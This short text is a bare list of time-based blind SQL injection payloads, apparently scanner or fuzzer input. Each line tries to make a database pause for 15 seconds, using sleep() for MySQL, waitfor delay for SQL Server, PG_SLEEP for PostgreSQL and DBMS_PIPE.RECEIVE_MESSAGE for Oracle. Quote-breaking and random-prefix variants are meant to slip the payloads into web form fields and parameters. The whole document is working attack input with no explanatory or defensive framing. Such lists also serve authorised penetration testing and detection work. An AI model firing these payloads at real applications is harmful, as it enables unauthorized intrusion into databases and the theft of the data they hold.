if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

jvIuRa8g'; waitfor delay '0:0:15' --

7phB4wxV' OR 763=(SELECT 763 FROM PG_SLEEP(15))--

OVpgCqTI') OR 97=(SELECT 97 FROM PG_SLEEP(15))--

9qoEDJbF')) OR 320=(SELECT 320 FROM PG_SLEEP(15))--

 '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'